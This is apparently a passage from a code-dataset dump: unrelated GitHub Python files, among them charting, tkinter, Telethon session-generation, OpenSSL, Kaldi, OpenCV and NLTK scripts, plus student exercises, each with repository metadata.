'only_one_normal', '0'])\n # in cmd\n # args = parser.parse_args()\n\n feature_extractor = FeatureExtractor(args)\n\n print('Feature Extractor 할당 끝')\n\n feature_json = feature_extractor.get_features(args.diff_mode)\n \n print(feature_json)\n\n","repo_name":"sjinu96/MIC","sub_path":"ETC./Features/feature_extractor.py","file_name":"feature_extractor.py","file_ext":"py","file_size_in_byte":8828,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"15718068767","text":"import logging\n\nimport plotly.graph_objects as go\n\nfrom bots import imps, load_candle\nfrom openbb_terminal.common.technical_analysis import custom_indicators_model\nfrom openbb_terminal.decorators import log_start_end\n\nlogger = logging.getLogger(__name__)\n\n\n@log_start_end(log=logger)\ndef fib_command(\n ticker=\"\",\n interval: int = 15,\n past_days: int = 0,\n start: str = \"\",\n end: str = \"\",\n extended_hours: bool = False,\n heikin_candles: bool = False,\n news: bool = False,\n):\n \"\"\"Displays chart with fibonacci retracement [Yahoo Finance]\"\"\"\n\n # Debug\n if imps.DEBUG:\n # pylint: disable=logging-too-many-args\n logger.debug(\n \"ta fib %s %s %s %s %s %s %s %s\",\n ticker,\n interval,\n past_days,\n start,\n end,\n extended_hours,\n heikin_candles,\n news,\n )\n\n past_days = (past_days + 1) if (interval != 1440) or (start != \"\") else 365\n\n # Retrieve Data\n (df_stock, start, end, bar_start,) = load_candle.stock_data(\n ticker=ticker,\n interval=interval,\n past_days=past_days,\n extended_hours=extended_hours,\n start=start,\n end=end,\n heikin_candles=heikin_candles,\n )\n\n if df_stock.empty:\n raise Exception(f\"No data found for {ticker.upper()}.\")\n\n df_ta = df_stock.loc[(df_stock.index >= start) & (df_stock.index < end)]\n\n # Output Data\n if interval != 1440:\n df_ta = df_ta.loc[(df_ta.index >= bar_start) & (df_ta.index < end)]\n\n (\n df_fib,\n min_date,\n max_date,\n min_pr,\n max_pr,\n ) = custom_indicators_model.calculate_fib_levels(df_ta, 12, bar_start, None)\n\n levels = df_fib.Price\n\n # Output Data\n fibs = [\n \"0\",\n \"0.235\",\n \"0.382\",\n \"0.5\",\n \"0.618\",\n \"0.65\",\n \"1\",\n ]\n plot = load_candle.candle_fig(\n df_ta,\n ticker,\n interval,\n extended_hours,\n news,\n bar=bar_start,\n int_bar=interval,\n shared_xaxes=True,\n vertical_spacing=0.07,\n )\n title = f\"{plot['plt_title']} Fibonacci-Retracement-Levels\"\n lvl_text: str = \"right\" if min_date > max_date else \"left\"\n fig = plot[\"fig\"]\n\n fig.add_trace(\n go.Scatter(\n x=[min_date, max_date],\n y=[min_pr, max_pr],\n opacity=1,\n mode=\"lines\",\n line=imps.PLT_FIB_COLORWAY[8],\n showlegend=False,\n ),\n row=1,\n col=1,\n secondary_y=True,\n )\n\n for i in range(6):\n fig.add_trace(\n go.Scatter(\n name=fibs[i],\n x=[min_date, max_date],\n y=[levels[i], levels[i]],\n opacity=0.2,\n mode=\"lines\",\n line_color=imps.PLT_FIB_COLORWAY[i],\n showlegend=False,\n ),\n row=1,\n col=1,\n secondary_y=True,\n )\n fig.add_trace(\n go.Scatter(\n name=fibs[i + 1],\n x=[min_date, max_date],\n y=[levels[i + 1], levels[i + 1]],\n opacity=0.2,\n mode=\"lines\",\n fill=\"tonexty\",\n line_color=imps.PLT_FIB_COLORWAY[i + 1],\n showlegend=False,\n ),\n row=1,\n col=1,\n secondary_y=True,\n )\n\n for i in range(7):\n fig.add_trace(\n go.Scatter(\n name=fibs[i],\n x=[min_date],\n y=[levels[i]],\n opacity=0.9,\n mode=\"text\",\n text=fibs[i],\n textposition=f\"middle {lvl_text}\" if i != 5 else f\"bottom {lvl_text}\",\n textfont=dict(imps.PLT_FIB_COLORWAY[7], color=imps.PLT_FIB_COLORWAY[i]),\n showlegend=False,\n ),\n row=1,\n col=1,\n secondary_y=True,\n )\n fig.update_layout(\n margin=dict(l=0, r=0, t=50, b=20),\n template=imps.PLT_TA_STYLE_TEMPLATE,\n title=title,\n title_x=0.02,\n title_font_size=14,\n dragmode=\"pan\",\n )\n imagefile = \"ta_fib.png\"\n\n # Check if interactive settings are enabled\n plt_link = \"\"\n if imps.INTERACTIVE:\n plt_link = imps.inter_chart(fig, imagefile, callback=False)\n\n fig.update_layout(\n width=800,\n height=500,\n )\n imagefile = imps.image_border(imagefile, fig=fig)\n\n return {\n \"title\": f\"Stocks: Fibonacci-Retracement-Levels {ticker.upper()}\",\n \"description\": plt_link,\n \"imagefile\": imagefile,\n }\n","repo_name":"rohankumardubey/OpenBBTerminal","sub_path":"bots/stocks/technical_analysis/fib.py","file_name":"fib.py","file_ext":"py","file_size_in_byte":4747,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"24839517061","text":"from tkinter import*\r\n\r\n# Количество секунд\r\nsec = 0\r\n\r\n\r\n# Кнопка старт\r\ndef start():\r\n # глобальная переменная\r\n global sec\r\n # Делае�� кнопку активной\r\n b1['state'] = 'normal'\r\n # Увеличиваем количество секунд на 1\r\n sec += 1\r\n # Обработка условия\r\n if sec < 10:\r\n # Запускает функцию старт через 1 секунду\r\n root.after(1000, start)\r\n # Вывод количество секунд\r\n t1.config(text=str(sec))\r\n else:\r\n # Делаем кнопку неактивной\r\n b1['state'] = 'disable'\r\n # Вывод на экран результат\r\n t1.config(text='За ' + str(sec)+' секунд '+str(count)+' нажатий')\r\n\r\n\r\n# Количество кликов\r\ncount = 0\r\n\r\n\r\n# Логика кнопки жми\r\ndef click():\r\n global count\r\n count += 1\r\n b1.config(text='Нажатий - ' + str(count))\r\n\r\n\r\n# Интерфейс\r\nroot = Tk()\r\nroot.geometry('150x80')\r\n\r\nt1 = Label(root, text='Нажмините старт для начала')\r\nt1.pack()\r\n\r\nb1 = Button(root, text='Жми', command=click)\r\nb1.pack()\r\nb1['state'] = 'disabled'\r\n\r\nb2 = Button(root, text='старт', command=start)\r\nb2.pack()\r\n\r\nroot.mainloop()\r\n","repo_name":"MaximWeb1999/Portfolio_Maksim","sub_path":"20. Python & Tkinter - Игра Жми скорее ( Таймер на Tkinter)/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1378,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"257627327","text":"#!/usr/bin/env python3\n# (c) https://t.me/TelethonChat/37677\n# This Source Code Form is subject to the terms of the GNU\n# General Public License, v.3.0. If a copy of the GPL was not distributed with this\n# file, You can obtain one at https://www.gnu.org/licenses/gpl-3.0.en.html.\n\nfrom telethon.sync import TelegramClient\nfrom telethon.sessions import StringSession\n\nprint(\"\"\"Lütfen my.telegram.org adresine gidin\nTelegram hesabınızı kullanarak giriş yapın\nAPI Development Tools kısmına tıklayın\nGerekli ayrıntıları girerek yeni bir uygulama oluşturun\"\"\")\nAPP_ID = int(input(\"APP ID girin: \"))\nAPI_HASH = input(\"API HASH girin: \")\n\nwith TelegramClient(StringSession(), APP_ID, API_HASH) as client:\n print(client.session.save())\n","repo_name":"DominantUser/Dominant-UserBot","sub_path":"GenerateStringSession.py","file_name":"GenerateStringSession.py","file_ext":"py","file_size_in_byte":745,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"31290247513","text":"import warnings\nfrom threading import RLock as _RLock\n\nfrom OpenSSL import SSL as _ssl\n\n\nwarnings.warn(\n \"OpenSSL.tsafe is deprecated and will be removed\",\n DeprecationWarning, stacklevel=3\n)\n\n\nclass Connection:\n def __init__(self, *args):\n self._ssl_conn = _ssl.Connection(*args)\n self._lock = _RLock()\n\n for f in ('get_context', 'pending', 'send', 'write', 'recv', 'read',\n 'renegotiate', 'bind', 'listen', 'connect', 'accept',\n 'setblocking', 'fileno', 'shutdown', 'close', 'get_cipher_list',\n 'getpeername', 'getsockname', 'getsockopt', 'setsockopt',\n 'makefile', 'get_app_data', 'set_app_data', 'state_string',\n 'sock_shutdown', 'get_peer_certificate', 'get_peer_cert_chain',\n 'want_read', 'want_write', 'set_connect_state',\n 'set_accept_state', 'connect_ex', 'sendall'):\n exec(\"\"\"def %s(self, *args):\n self._lock.acquire()\n try:\n return self._ssl_conn.%s(*args)\n finally:\n self._lock.release()\\n\"\"\" % (f, f))\n","repo_name":"wistbean/learn_python3_spider","sub_path":"stackoverflow/venv/lib/python3.6/site-packages/OpenSSL/tsafe.py","file_name":"tsafe.py","file_ext":"py","file_size_in_byte":1102,"program_lang":"python","lang":"en","doc_type":"code","stars":14022,"dataset":"github-code","pt":"3"} +{"seq_id":"31996383185","text":"################################\n# Author: Maanus Gulia\n# email: mgulia@purdue.edu\n# ID: ee364a15\n# Date: January 11, 2019\n################################\n\nimport os\nimport sys\n\n#Module level Variables. (Write this statement verbatim.)\n######################################################\nDataPath = os.path.expanduser(\"~ee364/DataFolder/Prelab01\")\n\n\n\ndef find(pattern):\n filePath = os.path.join(DataPath, 'sequence.txt')\n with open(filePath, 'r') as FILE:\n sequence = FILE.read()\n\n patternLength = len(pattern)\n subList = []\n finalList = []\n subString = ''\n\n for index, value in enumerate(sequence):\n if index == (len(sequence) - len(pattern) + 1):\n break\n subList.append(sequence[index:index+len(pattern)])\n\n for number in subList:\n flag = 0\n for idx, char in enumerate(pattern):\n if char is 'X' or char is number[idx]:\n continue\n else:\n flag = 1\n break\n\n if flag is 0:\n finalList.append(number)\n\n return finalList\n\n\n\ndef getStreakProduct(sequence, maxSize, product):\n match = []\n subDigits = 1\n reset = 1\n subStr = ''\n subSubDigits = 1\n\n for var in sequence:\n subStr = subStr + var\n subDigits = 1\n for x in subStr:\n subDigits = subDigits * int(x)\n if (subDigits >= product):\n if subDigits == product and len(subStr)<=maxSize:\n match.append(subStr)\n\n\n while subDigits >= product:\n subStr = subStr[1:]\n subDigits = 1\n for y in subStr:\n subDigits = subDigits * int(y)\n if subDigits == product and len(subStr)<=maxSize:\n match.append(subStr)\n\n\n subDigits = int(subDigits)\n\n return match\n\n\n\n\n\ndef writePyramids(filePath, baseSize, count, char):\n pyramidHeight = (baseSize - 1) // 2 + 1\n pyList = []\n pyramidStr = ''\n rowNum = 1\n space = baseSize//2\n with open(filePath, 'w') as FILE:\n while(rowNum<=baseSize):\n pyramidStr = \"\"\n for i in range(rowNum):\n pyramidStr += char\n\n pyramidStr.center(baseSize, \" \")\n rowNum += 2\n for j in range(count):\n FILE.write(pyramidStr.center(baseSize, \" \"))\n if j is not count - 1:\n FILE.write(\" \")\n FILE.write(\"\\n\")\n\n\n\ndef getStreaks(sequence, letters):\n allStreaks = []\n streaks = []\n subString = ''\n index = 1\n\n subString += sequence[0]\n\n for i in sequence[1:]:\n if sequence[index] == sequence[index-1]:\n subString += sequence[index]\n elif sequence[index] != sequence[index-1]:\n allStreaks.append(subString)\n subString = ''\n subString += sequence[index]\n\n index = index + 1\n allStreaks.append(subString)\n\n for j in allStreaks:\n if j[0] in letters:\n streaks.append(j)\n\n return streaks\n\n\n\ndef findNames(nameList, part, name):\n\n matches = []\n nameUpper = name.upper()\n nameLower = name.lower()\n nameStr = nameUpper[0] + nameLower[1:]\n\n if (part != \"F\" and part!= \"L\" and part!= \"FL\"):\n return matches\n\n for var in nameList:\n if (part == 'F'):\n if (var.find(nameStr + \" \") != -1):\n matches.append(var)\n if (part == 'L'):\n if (var.find(\" \" + nameStr) != -1):\n matches.append(var)\n if (part == 'FL'):\n if (var.find(nameStr) != -1):\n matches.append(var)\n\n return matches\n\n\n\n\n\ndef convertToBoolean(num, size):\n\n list = []\n if (type(num)!=int or type(size)!=int):\n return list\n\n binary = bin(num)\n binaryStr = binary[2:]\n\n if (type(num)==int and type(size)==int):\n for var in binaryStr:\n if (var == '1'):\n list.append(True)\n elif (var == '0'):\n list.append(False)\n\n listSize = len(list)\n xtra = size - listSize\n\n if (xtra > 0):\n for i in range(xtra):\n list.insert(0, False)\n\n return list\n\n\n\n\n\ndef convertToInteger(boolList):\n\n # Verify that the input parameter is a list, return 'None' if not\n if (isinstance(boolList, list) == False):\n strReturn = 'None'\n return strReturn\n\n # Verify that the list is not empty and return if 'None' if it is\n strReturn = ''\n if (len(boolList) == 0):\n strReturn = 'None'\n return strReturn\n\n # Verify that all elements are boolean, and return 'None' otherwise\n check = 0\n for var in boolList:\n if (isinstance(var, bool) == False):\n check += 1\n if (check > 0):\n strReturn = 'None'\n return strReturn\n\n binaryStr = ''\n binaryToInt = 0\n for i in boolList:\n if (i == True):\n binaryStr += '1'\n elif(i == False):\n binaryStr += '0'\n\n binaryToInt = int(binaryStr, 2)\n\n\n return binaryToInt\n\n","repo_name":"mgulia/Python-and-Bash-Scripting","sub_path":"Lab01/simpleTasks.py","file_name":"simpleTasks.py","file_ext":"py","file_size_in_byte":5083,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"26885587624","text":"# Решение задачи C\nn_cpp = int(input())\nm_rust = int(input())\n\nstudents = set()\n\nfor _ in range(n_cpp + m_rust):\n students.add(input()) # union\n\nprint(2*len(students) - m_rust - n_cpp)\n\n","repo_name":"vlasove/rfb_py_1_21.03","sub_path":"Lec7/example_e.py","file_name":"example_e.py","file_ext":"py","file_size_in_byte":202,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"20670165170","text":"# from random import randrange\n#\n# seq = [randrange(10**10) for i in range(100)]\n# sort_seq_inc = sorted(seq)\n# diff_num_ret = []\n# diff_num = 0\n# for idx , x in enumerate(sort_seq_inc):\n# if idx == 0:\n# previous_num = x\n# continue\n# diff_num = x - previous_num\n# previous_num = x\n# diff_num_ret.append([idx,diff_num])\n#\n# print(sorted(diff_num_ret,key=lambda x: x[1]))\n# differ_min_idx = sorted(diff_num_ret,key=lambda x: x[1])[0][0]\n# print(sort_seq_inc[differ_min_idx - 1 ],sort_seq_inc[differ_min_idx])\n\n\n# data = [3, 5, 8]\n# g = (x for x in data if data.count(x) > 0)\n# data = [3, 7, 9]\n# print(list(g))\n\n# a = 1\n# def test():\n# global a\n# a += 1\n# return a\n# print(test())\n#\n# import socket\n#\n# socket.socket.connect()\n\n\n# import os\n#\n# for roots,dirs,files in os.walk('E:\\\\aaa',topdown=False):\n# print(roots,dirs,files)\n\n# print(2.2 * 3.0 == 3.3 * 2.0)\n# print(2.2 * 3.0)\n# print(3.3 * 2.0)\n\n# print(dict(map(lambda x,y=1: (x,y),zip('abcde',range(5)))))\n# print(zip('abcde',range(5)))\n\n\n# def old_copy_attr(dest,src):\n# dest.__doc__ = src.__doc__\n# dest.__name__ = src.__name__\n\n# def copy_attr(src):\n# def _inner(dest):\n# dest.__doc__ = src.__doc__\n# dest.__name__ = src.__name__\n# return dest\n# return _inner\n#\n#\n# def count_time(func):\n# @copy_attr(func)\n# # @copy_attr(func) <==> wrapper = copy_attr(func)(wraper)\n# # @copy_attr(func) ==> @_inner ==> _inner(wraper)\n# def wraper(*args,**kwargs):\n# '''\n# this is wrapper func\n# '''\n# start_time = time.time()\n# ret = func(*args,**kwargs)\n# print('func {} cost {} seconds'.format(func.__name__,time.time()-start_time))\n# return ret\n# # copy_attr(src,dest) src就是func，dest就是wraper\n# # old_copy_attr(wraper,func)\n# update_wrapper(wraper,func)\n# return wraper\n#\n# @count_time\n# def during():\n# '''\n# this is during func\n# '''\n# print('-----------do---------')\n# time.sleep(2)\n# return 111\n#\n# print(during.__name__)\n# print(during.__doc__)\n# during()\n\n\n# class run():\n# def __init__(self,bar):\n# self.bar = bar\n# def __call__(self):\n# print(self.bar)\n# return 'ok'\n#\n# t = run(111)\n# t()\n#\n# def add(x:int,y:int) -> int:\n# '''\n#\n# :param x:\n# :param y:\n# :return:\n# '''\n# return x + y\n#\n# print(add.__annotations__['x'],type(add.__annotations__))\n# print(isinstance(add.__annotations__['x'],type))\n\n\n# from functools import update_wrapper,partial\n# import inspect\n#\n# def add(x,y,z):\n# return x + y + z\n#\n# newadd = partial(add,1)\n# print(inspect.signature(newadd))\n# print(newadd(y=10,z=22))\n#\n#\n#\n# a = '/product\\product/'\n# print(a.strip('/\\\\'))\n\n\n# class myDecorator(object):\n#\n# def __init__(self, fn):\n# print(\"inside myDecorator.__init__()\")\n# self.fn = fn\n#\n# def __call__(self):\n# self.fn()\n# print(\"inside myDecorator.__call__()\")\n#\n#\n# @myDecorator\n# # aFunction = myDecorator(aFunction)\n# def aFunction():\n# print(\"inside aFunction()\")\n#\n#\n# print(\"Finished decorating aFunction()\")\n#\n# aFunction()\n\n# 输出：\n# inside myDecorator.__init__()\n# Finished decorating aFunction()\n# inside aFunction()\n# inside myDecorator.__call__()\n\n\n# import os\n# import datetime\n# import time\n#\n# print(datetime.datetime.now())\n# print(time.time())\n\n# single = '五一快乐！'\n# stage1 = [x for x in range(1,21,2)]\n# stage2 = stage1[::-1]\n# # print(stage1)\n# # print(stage2)\n# stage = stage1 + stage2\n# max_num = max(stage)\n# for line in stage:\n# print('{}{}'.format((max_num-line) * ' ',line * single))\n\n#\n# a = '1@2@3@4'\n# ret = getattr(a,)\n# print(ret)\n\n# class new():\n# @classmethod\n# def hahaha(cls):\n# print('hello world')\n#\n# new.hahaha()\n\n# aa = []\n# def foo():\n# aa.append(5)\n# print(aa)\n# foo(),foo(),foo()\n\n# import time\n# import random\n# import threading\n# import logging\n# import datetime\n#\n# def worker(event:threading.Event):\n# logging.info('worker {} is working'.format(threading.current_thread().name))\n# time.sleep(random.randint(1,5))\n# event.set()\n#\n# def boss(event:threading.Event):\n# start = datetime.datetime.now()\n# event.wait()\n# logging.info('worker exit {}'.format(datetime.datetime.now() - start))\n#\n# def start():\n# event = threading.Event()\n# b = threading.Thread(target=boss,args=(event,))\n# b.start()\n# for i in range(1,6):\n# threading.Thread(target=worker,args=(event,),name='worker {}'.format(i)).start()\n#\n#\n# logging.basicConfig(level=logging.INFO,format='%(asctime)s %(levelname)s %(message)s')\n# logging.info(datetime.datetime.now())\n# start()\n\nimport random\nimport logging\nimport threading\nimport time\n\nclass Counter():\n def __init__(self):\n self._value = 0\n self._lock = threading.Lock()\n def inc(self):\n try:\n self._lock.acquire()\n self._value += 1\n finally:\n self._lock.release()\n def dec(self):\n try:\n self._lock.acquire()\n self._value -= 1\n finally:\n self._lock.release()\n\nlogging.basicConfig(level=logging.INFO)\ncounter = Counter()\n\ndef fn():\n if random.choice([-1,1]) > 0:\n logging.info('inc')\n counter.inc()\n else:\n logging.info('desc')\n counter.dec()\n time.sleep(1)\n\nobj = [threading.Thread(target=fn) for _ in range(10)]\n\nfor i in obj:\n i.start()\nfor i in obj:\n i.join()\n\nprint(counter._value)","repo_name":"everydayxy/xy_py","sub_path":"日常练习/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":5552,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"14992538106","text":"from problems.Problem_Abs import *\n\n\nclass Quartic(Problem_Abs):\n def Func(self, X):\n if len(X.shape) == 1:\n X = X[:, np.newaxis]\n X = utils.pow_exe(self.Bound, X)\n d_range = np.arange(1, X.shape[0] + 1).T[:, np.newaxis]\n Z = np.sum(d_range * (X ** 4), axis=0) + np.random.rand()\n return Z\n","repo_name":"wangzb-001/nnga_jxf","sub_path":"GAs/problems/Quartic.py","file_name":"Quartic.py","file_ext":"py","file_size_in_byte":339,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"38314754718","text":"import sys\nimport unittest\n\nfrom kaldi.base import math as kaldi_math\nfrom kaldi.base import Timer\nfrom kaldi.cudamatrix import cuda_available, CuMatrix\nfrom kaldi.matrix import *\nfrom kaldi.matrix.common import *\n\n\nclass TestCuDevice(unittest.TestCase):\n\n def testCudaMatrixResize(self):\n size_multiples = [1, 2, 4, 8, 16, 32]\n num_matrices = 256\n time_in_secs = 0.2\n\n for size_multiple in size_multiples:\n sizes = []\n\n for i in range(num_matrices):\n num_rows = kaldi_math.rand_int(1, 10)\n num_rows *= num_rows * size_multiple\n num_cols = kaldi_math.rand_int(1, 10)\n num_cols *= num_cols * size_multiple\n sizes.append((num_rows, num_cols))\n\n matrices = [CuMatrix() for _ in range(num_matrices)]\n\n tim = Timer()\n num_floats_processed = 0\n while tim.elapsed() < time_in_secs:\n matrix = kaldi_math.rand_int(0, num_matrices - 1)\n if matrices[matrix].num_rows() == 0:\n num_rows, num_cols = sizes[matrix]\n matrices[matrix].resize(num_rows, num_cols,\n MatrixResizeType.UNDEFINED)\n num_floats_processed += num_rows * num_cols\n else:\n matrices[matrix].resize(0, 0)\n\n gflops = num_floats_processed / (tim.elapsed() * 1.0e9)\n print(\"CuMatrix.resize: size multiple {}, speed was {} gigaflops\"\n .format(size_multiple, gflops))\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"pykaldi/pykaldi","sub_path":"tests/cudamatrix/cu-device-test.py","file_name":"cu-device-test.py","file_ext":"py","file_size_in_byte":1638,"program_lang":"python","lang":"en","doc_type":"code","stars":966,"dataset":"github-code","pt":"3"} +{"seq_id":"38425512866","text":"''' Write a script to concatenate the following dictionaries to create a NEW one.\n dict_1 = {'foo': 'bar', 'bar': 'buz'}\n dict_2 = {'dou': 'jones', 'USD': 36}\n dict_3 = {'AUD': 19.2, 'name': 'Tom'} '''\n\ndict_1 = {'foo': 'bar', 'bar': 'buz'}\ndict_2 = {'dou': 'jones', 'USD': 36}\ndict_3 = {'AUD': 19.2, 'name': 'Tom'}\nunited_dict = {}\ndictionaries = dict_1, dict_2, dict_3\n\nfor dictionary in dictionaries: \n united_dict.update(dictionary)\n\nprint(united_dict)\n","repo_name":"useronelex/GeekHub-homework","sub_path":"HT_3/task_3.py","file_name":"task_3.py","file_ext":"py","file_size_in_byte":469,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"25370958839","text":"class Solution:\n def addTwoNumbers(self, l1: ListNode, l2: ListNode) -> ListNode:\n\n temp = ListNode()\n cur = temp\n\n carry = 0\n\n while l1 or l2 or carry:\n v1 = l1.val if l1 else 0\n v2 = l2.val if l2 else 0\n\n # new digit\n val = v1 + v2 + carry\n carry = val // 10\n val = val % 10\n cur.next = ListNode(val)\n\n # update val\n cur = cur.next\n l1 = l1.next if l1 else None\n l2 = l2.next if l2 else None\n\n return temp.next","repo_name":"TreavienHolley/Programming-Problems","sub_path":"LeetCode/python/2-add-two-numbers/2-add-two-numbers.py","file_name":"2-add-two-numbers.py","file_ext":"py","file_size_in_byte":571,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"70974976403","text":"# coding = utf-8\n# Create date: 2018-10-29\n# Author :Bowen Lee\n\n\ndef test_hostname(ros_kvm, cmd_opt):\n \"\"\"\n Test case for check hostname after rancher os has been installed succeed.\n :param ros_kvm:\n :return:\n \"\"\"\n\n command = 'hostname'\n feed_back = 'rancher-test'\n client = ros_kvm(cloud_config='{url}/test_hostname.yml'.format(url=cmd_opt))\n client.sendline(command)\n number = client.expect(feed_back, timeout=20, searchwindowsize=None)\n feed_back_content = str(client.after, encoding='utf-8')\n\n command_etc = 'cat /etc/hosts'\n client.sendline(command_etc)\n number_etc = client.expect(feed_back, timeout=20, searchwindowsize=None)\n feed_back_etc_content = str(client.after, encoding='utf-8')\n assert ((number == 0 and feed_back == feed_back_content)\n and (number_etc == 0 and feed_back == feed_back_etc_content))\n","repo_name":"kingsd041/os_test","sub_path":"engine/test_hostname.py","file_name":"test_hostname.py","file_ext":"py","file_size_in_byte":874,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"35401681085","text":"from nltk.classify import NaiveBayesClassifier\nimport nltk.classify.util\nimport nltk\nimport csv\nfrom collections import OrderedDict\nimport numpy as np\n\n\ndef build_model(data_file, class_file):\n ## Import csv files\n data_list = []\n with open(data_file) as file:\n reader = csv.DictReader(file)\n data_list = [row for row in reader]\n class_list = []\n with open(class_file) as f:\n for line in f.readlines():\n class_list.append(int(line.strip()))\n \n ## Create the input for the classifier\n NB_input = []\n if(len(data_list)==len(class_list)):\n for i in range(0,len(data_list)):\n NB_input.append((data_list[i],class_list[i]))\n \n ## Train the classifier and return it along with the ordered dictionary keys.\n classifier = NaiveBayesClassifier.train(NB_input)\n print('accuracy:', nltk.classify.util.accuracy(classifier, NB_input))\n ## Create the empty orderedDict to pass back for use in the other methods.\n dict_keys = data_list[0].keys()\n\n dic = OrderedDict(zip(dict_keys, np.repeat('0',len(dict_keys))))\n \n return(classifier, dic, NB_input)\n ","repo_name":"AmyOlex/Chrono","sub_path":"chronoML/NB_nltk_classifier.py","file_name":"NB_nltk_classifier.py","file_ext":"py","file_size_in_byte":1142,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"3"} +{"seq_id":"31389048519","text":"import cv2\nimport numpy as np\n\n# tải tên lớp COCO\nwith open('object_detection_classes_coco.txt', 'r') as f:\n class_names = f.read().split('\\n')\n\n# lấy một mảng màu khác nhau cho mỗi lớp\nCOLORS = np.random.uniform(0, 255, size=(len(class_names), 3))\n\n# tải mô hình DNN\nmodel = cv2.dnn.readNet(model='frozen_inference_graph.pb', config='ssd_mobilenet_v2_coco_2018_03_29.pbtxt.txt', framework='TensorFlow')\n\n# Đọc ảnh\nimage = cv2.imread('image_2.jpg')\nimage_height, image_width, _ = image.shape\n# Tạo đốm màu từ ảnh\nblob = cv2.dnn.blobFromImage(image=image, size=(300, 300), mean=(104, 117, 123), swapRB=True)\n# Tạo đốm màu từ ảnh\nmodel.setInput(blob)\n# chuyển tiếp qua mô hình để thực hiện phát hiện\noutput = model.forward()\n\n# vòng lặp qua mỗi phát hiện\nfor detection in output[0, 0, :, :]:\n # trích xuất độ tin cậy của phát hiện\n confidence = detection[2]\n # vẽ các hộp giới hạn chỉ khi độ tin cậy phát hiện ở trên\n # một ngưỡng nhất định, nếu không, hãy bỏ qua\n if confidence > .4:\n # lấy class id\n class_id = detection[1]\n # map the class id to the class\n class_name = class_names[int(class_id)-1]\n color = COLORS[int(class_id)]\n # lấy tọa độ hộp giới hạn\n box_x = detection[3] * image_width\n box_y = detection[4] * image_height\n # lấy chiều rộng và chiều cao của hộp giới hạn\n box_width = detection[5] * image_width\n box_height = detection[6] * image_height\n # vẽ một hình chữ nhật xung quanh mỗi đối tượng được phát hiện\n cv2.rectangle(image, (int(box_x), int(box_y)), (int(box_width), int(box_height)), color, thickness=2)\n # đặt văn bản FPS lên đầu khung\n cv2.putText(image, class_name, (int(box_x), int(box_y - 5)), cv2.FONT_HERSHEY_SIMPLEX, 1, color, 2)\n\ncv2.imshow('image', image)\ncv2.waitKey(0)","repo_name":"damtuankhoi/PraticeOpenCV","sub_path":"opencv_DNN_detect_img.py","file_name":"opencv_DNN_detect_img.py","file_ext":"py","file_size_in_byte":2014,"program_lang":"python","lang":"vi","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"43798462283","text":"# 12919 A와 B 2\n# 34128 KB / 68 ms\n\nfrom collections import deque\n\n# bfs\ndef f(t):\n q = deque()\n q.append(t)\n v.add(t)\n while q:\n t = q.popleft()\n # 일치하면 True\n if t == s:\n return True\n # 길이가 같은데 다른경우 다음 deque 탐색\n if len(t) == L:\n continue\n\n if t[-1] == 'A':\n A = t[:-1]\n if A not in v:\n q.append(A)\n v.add(A)\n\n if t[0] == 'B':\n B = t[:0:-1]\n if B not in v:\n q.append(B)\n v.add(B)\n return False\n \ns = input()\nt = input()\n\nL = len(s)\nv = set() # visited\n\n# T부터 길이를 줄여가며 탐색\nif f(t):\n print(1)\nelse:\n print(0)","repo_name":"KDT-02-Algorithm-Study/Algorithm-Study","sub_path":"week10_230316/12919_A와_B_2/12919_정광배.py","file_name":"12919_정광배.py","file_ext":"py","file_size_in_byte":763,"program_lang":"python","lang":"ko","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"} +{"seq_id":"7944081746","text":"import os\nimport json\nimport csv\n\n\n\ndef set_tf_config():\n \"\"\"\n This functions sets the necessary values in the TF_CONFIG environment variable. It contains information on the\n cluster architectures, i.e, which workers are allocated for the job, and the worker for the current task. This has\n been specifically been developed for using the SLURM task manager, and kind of hardcoded for the ouput given using\n the Berzelius supercomputer at NSC. It may be the case that this funciton does not work on other clusters without\n some changes.\n\n Here, the outputted string s from the call to os.environ[\"SLURM_JOB_NODELIST\"], contains all the allocated\n workers for the job.\n\n Examples:\n s = \"Node021\"\n s = \"Node[036-039]\"\n s = \"Node[009-012,047]\"\n\n We need to translate this format into a separated list of strings representing the nodes to be able to\n describe the cluster in a way that tf.distribute.MultiWorkerMirroredStrategy can interpret the cluster. That\n is we want:\n s = \"Node021\" -> [\"Node021\"]\n s =\" Node[036-039]\" -> [\"Node036\", \"Node037\", \"Node038\", \"Node039\"]\n s = \"Node[009-012,047]\" -> [\"Node009\",\"Node010\",\"Node011\",\"Node012\", \"Node047\"]\n\n This is what is done below.\n An example for the case s = Node[009-012,047] is followed within the comments.\n\n UPDATE: Some experiments indicate that I would want to have one process per gpu, instead of one process per node.\n\n I can't imagine that I would need to make drastic changes, but this script needs to be updated according to this.\n\n Probably the easiest case to look at is when we have the same number of GPUS on each node, but for a more general\n implementation, we should be able to have for example 8 on one, and just 1 on another.\n This can be handled as is, but want it to work for the case with 1 process per GPU.\n\n Start by at least assuming that we have the same number of gpus per node, I would have to make something special in the sbatch call if I would\n want to have say 7+5 gpus. Should possibly work in future.\n \"\"\"\n s = os.environ[\"SLURM_JOB_NODELIST\"] #example: s = \"Node[009-012,047]\"\n #print(os.environ[\"CUDA_VISIBLE_DEVICES\"] )\n 